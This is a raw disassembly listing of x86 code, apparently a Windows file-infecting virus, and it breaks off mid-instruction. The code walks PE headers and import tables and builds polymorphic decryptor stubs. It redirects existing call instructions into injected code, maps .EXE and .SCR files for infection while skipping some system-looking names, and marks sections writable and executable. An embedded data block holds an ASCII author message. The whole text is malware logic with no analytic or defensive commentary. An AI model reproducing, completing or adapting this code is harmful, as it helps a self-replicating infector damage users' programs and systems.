68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh dd 595730C7h, 79ED3AABh, 0DA234FD4h, 5248A5FAh, 14294037h dd 0AD4710A6h, 0F96A6299h, 8B99606Eh, 7AB4DB85h, 0FAE5050Bh dd 141327B1h, 69DF10A6h, 0CC5C53AFh, 0C17EC26Ch, 86D1A73h dd 0B35210F2h, 0D8B8h, 0Eh dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_6119E2 proc near ; CODE XREF: sub_611A29:loc_611A86p ; sub_611AE9+7p ... arg_0 = dword ptr 4 pusha and dword ptr ss:loc_4039A6[ebp], 0 and dword ptr [ebp+4039AAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_6119FE: ; CODE XREF: sub_6119E2+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_611A20 cmp eax, [edx+8] jnb short loc_611A20 mov eax, [edx+14h] sub eax, [edx+0Ch] mov dword ptr ss:loc_4039A6[ebp], edx mov [ebp+4039AAh], eax jmp short loc_611A25 ; --------------------------------------------------------------------------- loc_611A20: ; CODE XREF: sub_6119E2+23j ; sub_6119E2+28j add edx, 28h loop loc_6119FE loc_611A25: ; CODE XREF: sub_6119E2+3Cj popa retn 4 sub_6119E2 endp ; =============== S U B R O U T I N E ======================================= sub_611A29 proc near ; CODE XREF: .XComp:00611D55p ; .XComp:00611D7Bp mov [ebp+4022F7h], al call sub_611A98 push 20h lea eax, loc_402224[ebp] pop ecx loc_611A40: ; CODE XREF: sub_611A29+1Ej cmp [eax], ebx jz short loc_611A50 add eax, 4 loop loc_611A40 inc dword ptr ss:loc_40398E[ebp] retn ; --------------------------------------------------------------------------- loc_611A50: ; CODE XREF: sub_611A29+19j neg ecx add ecx, [ebp+4022F7h] jecxz short loc_611A6A loc_611A5A: ; CODE XREF: sub_611A29+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_611A5A mov dword ptr ss:loc_402224[ebp], ebx loc_611A6A: ; CODE XREF: sub_611A29+2Fj ; sub_611A98+34j cmp dword ptr [edx], 0 jz short loc_611A74 sub esi, [edx] add esi, [edx+10h] loc_611A74: ; CODE XREF: sub_611A29+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_611A83 push dword ptr [edx] jmp short loc_611A86 ; --------------------------------------------------------------------------- loc_611A83: ; CODE XREF: sub_611A29+54j push dword ptr [edx+10h] loc_611A86: ; CODE XREF: sub_611A29+58j call sub_6119E2 sub ecx, esi sub ecx, [ebp+4039AAh] pop eax add ecx, [ebx+34h] retn sub_611A29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_611A98 proc near ; CODE XREF: sub_611A29+6p pop dword ptr ss:loc_403992[ebp] mov dword ptr ss:loc_40398E[ebp], 0 call sub_611AE9 mov eax, dword ptr ss:loc_40398E[ebp] call sub_61122D call sub_611AD5 cmp dword ptr ss:loc_40398E[ebp], 0 jnz short loc_611ACE mov [ebp+4022A0h], ebx jmp short loc_611A6A ; --------------------------------------------------------------------------- loc_611ACE: ; CODE XREF: sub_611A98+2Cj dec dword ptr ss:loc_40398E[ebp] retn sub_611A98 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_611AD5 proc near ; CODE XREF: sub_611A98+20p pop dword ptr ss:loc_403992[ebp] mov dword ptr ss:loc_40398E[ebp], edx call sub_611AE9 xor ecx, ecx retn sub_611AD5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_611AE9 proc near ; CODE XREF: sub_611A98+10p ; sub_611AD5+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_6119E2 add edx, [ebp+4039AAh] add edx, esi loc_611AFD: ; CODE XREF: sub_611AE9+120j cmp dword ptr [edx+0Ch], 0 jz locret_611C0E cmp dword ptr [edx+10h], 0 jz locret_611C0E mov eax, [edx+0Ch] push eax call sub_6119E2 add eax, [ebp+4039AAh] add eax, esi push eax loc_611B23: ; CODE XREF: sub_611AE9+47j mov cl, [eax] cmp cl, 0 jz short loc_611B43 cmp cl, 2Eh jz short loc_611B32 loc_611B2F: ; CODE XREF: sub_611AE9+58j inc eax jmp short loc_611B23 ; --------------------------------------------------------------------------- loc_611B32: ; CODE XREF: sub_611AE9+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, offset dword_4C4C44 jnz short loc_611B2F loc_611B43: ; CODE XREF: sub_611AE9+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_611C06 cmp word ptr [eax-2], 3233h jnz loc_611C06 push esi cmp dword ptr [edx], 0 jnz short loc_611B66 mov ecx, [edx+10h] jmp short loc_611B68 ; --------------------------------------------------------------------------- loc_611B66: ; CODE XREF: sub_611AE9+76j mov ecx, [edx] loc_611B68: ; CODE XREF: sub_611AE9+7Bj add esi, ecx push ecx call sub_6119E2 add esi, [ebp+4039AAh] loc_611B76: ; CODE XREF: sub_611AE9+90j ; sub_611AE9+117j lodsd test eax, eax js short loc_611B76 jz loc_611C05 push dword ptr [ebp+4039AAh] push eax call sub_6119E2 add eax, [ebp+4039AAh] pop dword ptr [ebp+4039AAh] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_611BA2: ; CODE XREF: sub_611AE9+CEj movzx ecx, byte ptr [eax] jecxz short loc_611BB9 or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_611BA2 ; --------------------------------------------------------------------------- loc_611BB9: ; CODE XREF: sub_611AE9+BCj cmp ebx, 0DDBBD70Fh jz short loc_611BFF cmp ebx, 0DB6E45A8h jz short loc_611BFF cmp ebx, 0FFA13B59h jz short loc_611BFF cmp ebx, 0ACB522D6h jz short loc_611BFF cmp ebx, 0F358E993h jz short loc_611BFF cmp ebx, 0F358E97Dh jz short loc_611BFF cmp ebx, 0E1253F46h jz short loc_611BFF cmp ebx, 0E1253F30h jz short loc_611BFF call dword ptr ss:loc_403992[ebp] loc_611BFF: ; CODE XREF: sub_611AE9+D6j ; sub_611AE9+DEj ... pop ebx jmp loc_611B76 ; --------------------------------------------------------------------------- loc_611C05: ; CODE XREF: sub_611AE9+92j pop esi loc_611C06: ; CODE XREF: sub_611AE9+60j ; sub_611AE9+6Cj add edx, 14h jmp loc_611AFD ; --------------------------------------------------------------------------- locret_611C0E: ; CODE XREF: sub_611AE9+18j ; sub_611AE9+22j retn sub_611AE9 endp ; --------------------------------------------------------------------------- db 1 ; =============== S U B R O U T I N E ======================================= sub_611C10 proc near ; CODE XREF: .XComp:00611D4Ep ; .XComp:00611D74p push 4 pop eax call sub_61122D mov byte ptr ss:loc_4024D1[ebp], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_61122D add edx, 8 xchg edx, ecx loc_611C38: ; CODE XREF: sub_611C10:loc_611C77j push 5 pop eax call sub_61122D cmp dl, 3 jnb short loc_611C50 mov al, 50h add al, byte ptr ss:loc_4024D1[ebp] stosb jmp short loc_611C77 ; --------------------------------------------------------------------------- loc_611C50: ; CODE XREF: sub_611C10+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_611C71 mov al, 11h call sub_61122D mov eax, 1 loc_611C65: ; CODE XREF: sub_611C10+5Dj test dl, dl jz short loc_611C76 shl eax, 1 dec dl jmp short loc_611C65 ; --------------------------------------------------------------------------- jmp short loc_611C76 ; --------------------------------------------------------------------------- loc_611C71: ; CODE XREF: sub_611C10+47j mov eax, 80000000h loc_611C76: ; CODE XREF: sub_611C10+57j ; sub_611C10+5Fj stosd loc_611C77: ; CODE XREF: sub_611C10+3Ej loop loc_611C38 retn sub_611C10 endp ; --------------------------------------------------------------------------- loc_611C7A: ; CODE XREF: sub_6126D4+112p lea edi, [ebp+40343Ch] test dword ptr ss:loc_403431[ebp], 80000000h jz short loc_611C8F mov al, 60h stosb loc_611C8F: ; CODE XREF: .XComp:00611C8Aj test dword ptr ss:loc_403431[ebp], 1000003h jz loc_611D95 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0BDEAC853h xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr ss:loc_403431[ebp], 1000000h mov dword ptr ss:loc_40399A[ebp], edi jz short loc_611D0D test dword ptr ss:loc_403431[ebp], 2000000h mov eax, 36FF6467h jnz short loc_611CD8 mov eax, 2E8B6467h loc_611CD8: ; CODE XREF: .XComp:00611CD1j stosd mov ax, 0 stosw jz short loc_611CE4 mov al, 5Dh stosb loc_611CE4: ; CODE XREF: .XComp:00611CDFj test dword ptr ss:loc_403431[ebp], 8000000h mov eax, 86D8Dh jnz short loc_611D0B test dword ptr ss:loc_403431[ebp], 4000000h mov eax, 8C583h jz short loc_611D0B mov eax, 0F8ED83h loc_611D0B: ; CODE XREF: .XComp:00611CF3j ; .XComp:00611D04j stosd dec edi loc_611D0D: ; CODE XREF: .XComp:00611CC0j test dword ptr ss:loc_403431[ebp], 3 jz short loc_611D1D mov al, 0E9h stosb stosd loc_611D1D: ; CODE XREF: .XComp:00611D17j mov eax, [ebp+403996h] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr ss:loc_403431[ebp], 3 jz short loc_611D95 mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_611C10 mov al, 20h call sub_611A29 jecxz short loc_611D95 mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, dword ptr ss:loc_403431[ebp] not edx test edx, 3 jnz short loc_611D88 call sub_611C10 mov al, 1Fh call sub_611A29 mov ax, 15FFh stosw xchg eax, ecx stosd loc_611D88: ; CODE XREF: .XComp:00611D72j mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_611D95: ; CODE XREF: .XComp:00611C99j ; .XComp:00611D34j ... test dword ptr ss:loc_403431[ebp], 4 jz short loc_611DB3 mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_611DB3: ; CODE XREF: .XComp:00611D9Fj test dword ptr ss:loc_403431[ebp], 8 jnz short loc_611E09 cmp byte ptr [ebp+40342Fh], 0 jz short loc_611E09 mov eax, 0C9291829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, [ebp+40342Bh] stosb mov ax, 0FDE2h test dword ptr ss:loc_403431[ebp], 10h jz short loc_611E07 mov al, 49h stosb mov ax, 0FC75h loc_611E07: ; CODE XREF: .XComp:00611DFEj stosw loc_611E09: ; CODE XREF: .XComp:00611DBDj ; .XComp:00611DC6j mov al, 0E8h stosb xor eax, eax stosd mov dword ptr ss:loc_403982[ebp], edi test dword ptr ss:loc_403431[ebp], 20h jnz short loc_611E2A mov al, 58h or al, [ebp+403429h] stosb loc_611E2A: ; CODE XREF: .XComp:00611E1Fj mov ax, 0C081h test dword ptr ss:loc_403431[ebp], 40h jz short loc_611E3D add ah, 28h loc_611E3D: ; CODE XREF: .XComp:00611E38j or ah, [ebp+403429h] stosw mov dword ptr ss:loc_403986[ebp], edi stosd test dword ptr ss:loc_403431[ebp], 40000000h jnz short loc_611E61 mov al, 50h add al, [ebp+403429h] stosb loc_611E61: ; CODE XREF: .XComp:00611E56j test dword ptr ss:loc_403431[ebp], 80h jnz short loc_611E78 mov al, 0B8h or al, byte ptr ss:loc_40342A[ebp] stosb jmp short loc_611EB5 ; --------------------------------------------------------------------------- loc_611E78: ; CODE XREF: .XComp:00611E6Bj mov ax, 1831h test dword ptr ss:loc_403431[ebp], 100h jz short loc_611E8A mov al, 29h loc_611E8A: ; CODE XREF: .XComp:00611E86j or ah, byte ptr ss:loc_40342A[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342A[ebp] stosw mov ax, 0F081h test dword ptr ss:loc_403431[ebp], 200h jnz short loc_611EAD mov ah, 0C8h loc_611EAD: ; CODE XREF: .XComp:00611EA9j or ah, byte ptr ss:loc_40342A[ebp] stosw loc_611EB5: ; CODE XREF: .XComp:00611E76j mov dword ptr ss:loc_4039A2[ebp], edi mov eax, 243Ch stosd test dword ptr ss:loc_403431[ebp], 8 jz short loc_611F39 test dword ptr ss:loc_403431[ebp], 400h jnz short loc_611EE4 mov al, 0B8h or al, [ebp+40342Bh] stosb jmp short loc_611F31 ; --------------------------------------------------------------------------- loc_611EE4: ; CODE XREF: .XComp:00611ED7j test dword ptr ss:loc_403431[ebp], 800h jnz short loc_611F01 mov ax, 0E083h or ah, [ebp+40342Bh] stosw xor eax, eax stosb jmp short loc_611F16 ; --------------------------------------------------------------------------- loc_611F01: ; CODE XREF: .XComp:00611EEEj mov ax, 1829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosw loc_611F16: ; CODE XREF: .XComp:00611EFFj test dword ptr ss:loc_403431[ebp], 1000h mov ax, 0C081h jz short loc_611F29 add ah, 8 loc_611F29: ; CODE XREF: .XComp:00611F24j or ah, [ebp+40342Bh] stosw loc_611F31: ; CODE XREF: .XComp:00611EE2j movzx eax, byte ptr [ebp+40342Fh] stosd loc_611F39: ; CODE XREF: .XComp:00611ECBj test dword ptr ss:loc_403431[ebp], 40000000h jz short loc_611F4E mov al, 50h add al, [ebp+403429h] stosb loc_611F4E: ; CODE XREF: .XComp:00611F43j test dword ptr ss:loc_403431[ebp], 2000h mov al, 86h jnz short loc_611F5E add al, 4 loc_611F5E: ; CODE XREF: .XComp:00611F5Aj lea ecx, [edi-2] mov ah, [ebp+403429h] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_611F7B mov al, 0 or byte ptr [edi-1], 40h stosb loc_611F7B: ; CODE XREF: .XComp:00611F72j test dword ptr ss:loc_403431[ebp], 4000h mov ax, 3166h jnz short loc_611F8D mov ah, 29h loc_611F8D: ; CODE XREF: .XComp:00611F89j stosw mov al, 18h or al, [ebp+40342Bh] shl al, 3 stosb mov al, 88h test dword ptr ss:loc_403431[ebp], 8000h jnz short loc_611FAB mov al, 86h loc_611FAB: ; CODE XREF: .XComp:00611FA7j mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_611FBF mov al, 0 or byte ptr [edi-1], 40h stosb loc_611FBF: ; CODE XREF: .XComp:00611FB6j test dword ptr ss:loc_403431[ebp], 10000h jnz short loc_611FD6 mov al, 40h or al, [ebp+403429h] stosb jmp short loc_611FE5 ; --------------------------------------------------------------------------- loc_611FD6: ; CODE XREF: .XComp:00611FC9j mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_611FE5: ; CODE XREF: .XComp:00611FD4j test dword ptr ss:loc_403431[ebp], 20000h jnz short loc_612020 test dword ptr ss:loc_403431[ebp], 40000h jnz short loc_612017 mov al, 0C0h or al, [ebp+40342Bh] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_61201F ; --------------------------------------------------------------------------- loc_612017: ; CODE XREF: .XComp:00611FFBj mov al, 40h or al, [ebp+40342Bh] loc_61201F: ; CODE XREF: .XComp:00612015j stosb loc_612020: ; CODE XREF: .XComp:00611FEFj test dword ptr ss:loc_403431[ebp], 80000h jnz short loc_61203C mov ax, 0E883h or ah, byte ptr ss:loc_40342A[ebp] stosw mov al, 1 jmp short loc_612044 ; --------------------------------------------------------------------------- loc_61203C: ; CODE XREF: .XComp:0061202Aj mov al, 48h or al, byte ptr ss:loc_40342A[ebp] loc_612044: ; CODE XREF: .XComp:0061203Aj stosb test dword ptr ss:loc_403431[ebp], 100000h mov cl, 75h jnz short loc_612078 mov ax, 0F883h or ah, byte ptr ss:loc_40342A[ebp] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr ss:loc_403431[ebp], 200000h jnz short loc_612093 mov cl, 77h jmp short loc_612093 ; --------------------------------------------------------------------------- loc_612078: ; CODE XREF: .XComp:00612051j mov ax, 1809h or ah, byte ptr ss:loc_40342A[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342A[ebp] stosw sub [ebp+40398Ah], edi loc_612093: ; CODE XREF: .XComp:00612072j ; .XComp:00612076j mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr ss:loc_403431[ebp], 1000003h jz loc_61213D mov eax, 268B6467h mov ecx, dword ptr ss:loc_403431[ebp] xor ecx, 2000000h test ecx, 3000000h jnz short loc_6120D4 mov eax, 2E876467h loc_6120D4: ; CODE XREF: .XComp:006120CDj stosd mov eax, 0 stosw jnz short loc_6120E4 mov ax, 0E58Bh stosw loc_6120E4: ; CODE XREF: .XComp:006120DCj mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr ss:loc_403431[ebp], 1000000h jnz short loc_61213A test dword ptr ss:loc_403431[ebp], 8000000h jz short loc_61212C mov ax, 6C8Dh test dword ptr ss:loc_403431[ebp], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_612127 mov ax, 424h stosw jmp short loc_61213A ; --------------------------------------------------------------------------- loc_612127: ; CODE XREF: .XComp:0061211Dj mov al, 8 stosb jmp short loc_61213A ; --------------------------------------------------------------------------- loc_61212C: ; CODE XREF: .XComp:00612104j mov ax, 5D58h add al, [ebp+40342Bh] stosw jmp short loc_61213D ; --------------------------------------------------------------------------- loc_61213A: ; CODE XREF: .XComp:006120F8j ; .XComp:00612125j ... mov al, 0C9h stosb loc_61213D: ; CODE XREF: .XComp:006120B0j ; .XComp:00612138j test dword ptr ss:loc_403431[ebp], 80000000h jz short loc_612169 mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_612169: ; CODE XREF: .XComp:00612147j mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr ss:loc_403431[ebp], 20h jz short loc_6121D4 test dword ptr ss:loc_403431[ebp], 20000000h jz short loc_61219A loc_61218D: ; CODE XREF: .XComp:00612198j test edi, 3 jz short loc_61219A mov al, 90h stosb jmp short loc_61218D ; --------------------------------------------------------------------------- loc_61219A: ; CODE XREF: .XComp:0061218Bj ; .XComp:00612193j mov eax, edi mov ecx, dword ptr ss:loc_403982[ebp] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr ss:loc_403431[ebp], 400000h jz short loc_6121C8 mov ax, 0C350h or al, [ebp+403429h] jmp short loc_6121D2 ; --------------------------------------------------------------------------- loc_6121C8: ; CODE XREF: .XComp:006121BAj mov ax, 0E0FFh or ah, [ebp+403429h] loc_6121D2: ; CODE XREF: .XComp:006121C6j stosw loc_6121D4: ; CODE XREF: .XComp:0061217Fj test dword ptr ss:loc_403431[ebp], 1000003h jz short loc_612253 test dword ptr ss:loc_403431[ebp], 20000000h jz short loc_6121F9 loc_6121EC: ; CODE XREF: .XComp:006121F7j test edi, 3 jz short loc_6121F9 mov al, 90h stosb jmp short loc_6121EC ; --------------------------------------------------------------------------- loc_6121F9: ; CODE XREF: .XComp:006121EAj ; .XComp:006121F2j mov ecx, edi mov eax, dword ptr ss:loc_40399A[ebp] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr ss:loc_403431[ebp], 800000h jnz short loc_612222 lea eax, [ebp+403429h] loc_61221A: ; CODE XREF: .XComp:00612220j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_61221A loc_612222: ; CODE XREF: .XComp:00612212j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_612237 mov ax, 0C031h stosw loc_612237: ; CODE XREF: .XComp:0061222Fj mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_612250 mov ax, 0C031h stosw loc_612250: ; CODE XREF: .XComp:00612248j mov al, 0C3h stosb loc_612253: ; CODE XREF: .XComp:006121DEj lea eax, [ebp+40343Ch] test dword ptr ss:loc_403431[ebp], 10000000h jnz short loc_61226B push edi sub edi, eax pop eax jmp short loc_612284 ; --------------------------------------------------------------------------- loc_61226B: ; CODE XREF: .XComp:00612263j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, dword ptr ss:loc_4039A2[ebp] add dword ptr ss:loc_403982[ebp], edx add [ecx], edi mov eax, [esp+4] loc_612284: ; CODE XREF: .XComp:00612269j mov [ebp+40106Dh], edi mov edi, dword ptr ss:loc_403986[ebp] sub eax, dword ptr ss:loc_403982[ebp] test dword ptr ss:loc_403431[ebp], 40h jz short loc_6122A4 neg eax loc_6122A4: ; CODE XREF: .XComp:006122A0j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_6122A8 proc near ; CODE XREF: sub_6126D4+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_612490 call near ptr loc_6122C8+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_6122C8: ; CODE XREF: sub_6122A8+Fp add bh, bh sub_6122A8 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_6119E2 mov edx, dword ptr ss:loc_4039A6[ebp] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_6119E2 mov edi, dword ptr ss:loc_4039A6[ebp] push esi call sub_6119E2 mov edx, dword ptr ss:loc_4039A6[ebp] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_612490 jz loc_612490 add esi, [ebp+4039AAh] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_612461 loc_612342: ; CODE XREF: sub_612461+29j lodsb cmp al, 0E8h jnz loc_6123ED lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_6119E2 cmp dword ptr ss:loc_4039A6[ebp], 0 jnz short loc_612370 cmp eax, [edi+0Ch] jnb loc_612489 jmp short loc_61237C ; --------------------------------------------------------------------------- loc_612370: ; CODE XREF: sub_612461-FEj cmp dword ptr ss:loc_4039A6[ebp], edx jnz loc_612489 loc_61237C: ; CODE XREF: sub_612461-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_612489 mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_6119E2 cmp dword ptr ss:loc_4039A6[ebp], edi jnz loc_612489 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_612489 cmp eax, [edi+8] jnb loc_612489 loc_6123C5: ; CODE XREF: sub_612461+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr [ebp+4039BEh] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_61249F jmp loc_612489 ; --------------------------------------------------------------------------- loc_6123ED: ; CODE XREF: sub_612461-11Cj cmp al, 0FFh jnz loc_612489 cmp byte ptr [esi], 15h jnz loc_612489 mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_6119E2 cmp dword ptr ss:loc_4039A6[ebp], edi jnz short loc_612489 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov [ebp+4039CAh], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_612436 cmp eax, [ebp+4039C6h] jb short loc_61249F loc_612436: ; CODE XREF: sub_612461-35j cmp eax, 70000000h jb short loc_612474 call sub_612461 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+4039CAh] jnz short locret_612460 add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_61247B ; --------------------------------------------------------------------------- locret_612460: ; CODE XREF: sub_612461-Fj retn ; END OF FUNCTION CHUNK FOR sub_612461 ; =============== S U B R O U T I N E ======================================= sub_612461 proc near ; CODE XREF: sub_612461-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 00612342 SIZE 0000011F BYTES pop dword ptr ss:loc_403992[ebp] pusha mov esi, [ebp+403972h] call sub_611AE9 popa loc_612474: ; CODE XREF: sub_612461-26j test eax, 80000000h jnz short loc_612489 loc_61247B: ; CODE XREF: sub_612461-3j sub eax, [edi+0Ch] jb short loc_612489 cmp eax, [edi+8] jb loc_6123C5 loc_612489: ; CODE XREF: sub_612461-F9j ; sub_612461-EBj ... dec ecx jnz loc_612342 loc_612490: ; CODE XREF: sub_6122A8+9j ; .XComp:0061232Aj ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_6124DB ; --------------------------------------------------------------------------- loc_61249F: ; CODE XREF: sub_612461-7Fj ; sub_612461-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_6124DB: ; CODE XREF: sub_612461+3Cj pop edi pop esi retn sub_612461 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6124DE proc near ; CODE XREF: .XComp:006126ACp ; sub_6126D4+127p lea esi, [ebp+40384Eh] push esi call dword ptr ss:loc_40357C[ebp] cmp eax, 0FFFFFFFFh jz locret_6125AF mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_6125AF sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+40355Ch] cmp eax, 0FFFFFFFFh jz loc_612A67 mov dword ptr ss:loc_403956[ebp], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_612A5B push 0 push dword ptr ss:loc_403956[ebp] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_612A5B mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr ss:loc_403956[ebp] call dword ptr [ebp+403560h] test eax, eax jz loc_612A5B xor ecx, ecx mov dword ptr ss:loc_40396E[ebp], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_612A33 mov [ebp+403972h], eax locret_6125AF: ; CODE XREF: sub_6124DE+10j ; sub_6124DE+27j ... retn sub_6124DE endp ; =============== S U B R O U T I N E ======================================= sub_6125B0 proc near ; CODE XREF: sub_6126D4+117p ; sub_6126D4+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr ss:loc_403431[ebp], 10000000h jnz short loc_6125CA add eax, [ebp+40106Dh] loc_6125CA: ; CODE XREF: sub_6125B0+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_6125B0 endp ; =============== S U B R O U T I N E ======================================= sub_6125F5 proc near ; CODE XREF: sub_6126D4:loc_612723p ; sub_6126D4+13Dp movzx ecx, word ptr [ebx+6] stc loc_6125FA: ; CODE XREF: sub_6125F5+23j jecxz short locret_612631 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_612631 cmp dword ptr [edx+0Ch], 1 jb short loc_6125FA mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_612631: ; CODE XREF: sub_6125F5:loc_6125FAj ; sub_6125F5+1Dj ... retn sub_6125F5 endp ; =============== S U B R O U T I N E ======================================= sub_612632 proc near ; CODE XREF: .XComp:006126BEp arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_612632 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_61263F: ; CODE XREF: .XComp:00612660j mov ecx, edi jmp short loc_61264E ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_61264A: ; CODE XREF: .XComp:0061265Cj mov ebx, edi xor ecx, ecx loc_61264E: ; CODE XREF: .XComp:00612641j ; .XComp:00612664j lodsb cmp al, 61h jb short loc_612659 cmp al, 7Ah ja short loc_612659 sub al, 20h loc_612659: ; CODE XREF: .XComp:00612651j ; .XComp:00612655j stosb cmp al, 5Ch jz short loc_61264A cmp al, 2Eh jz short loc_61263F cmp al, 0 jnz short loc_61264E jecxz short locret_612631 mov eax, [ecx] cmp eax, 455845h jz short loc_61267C cmp eax, 524353h jnz locret_6125AF loc_61267C: ; CODE XREF: .XComp:0061266Fj mov eax, [ebx] cmp eax, 434E4957h jz locret_6125AF cmp eax, 4E554357h jz locret_6125AF cmp eax, 32334357h jz locret_6125AF cmp eax, 4F545350h jz locret_6125AF xor ebx, ebx call sub_6124DE jz 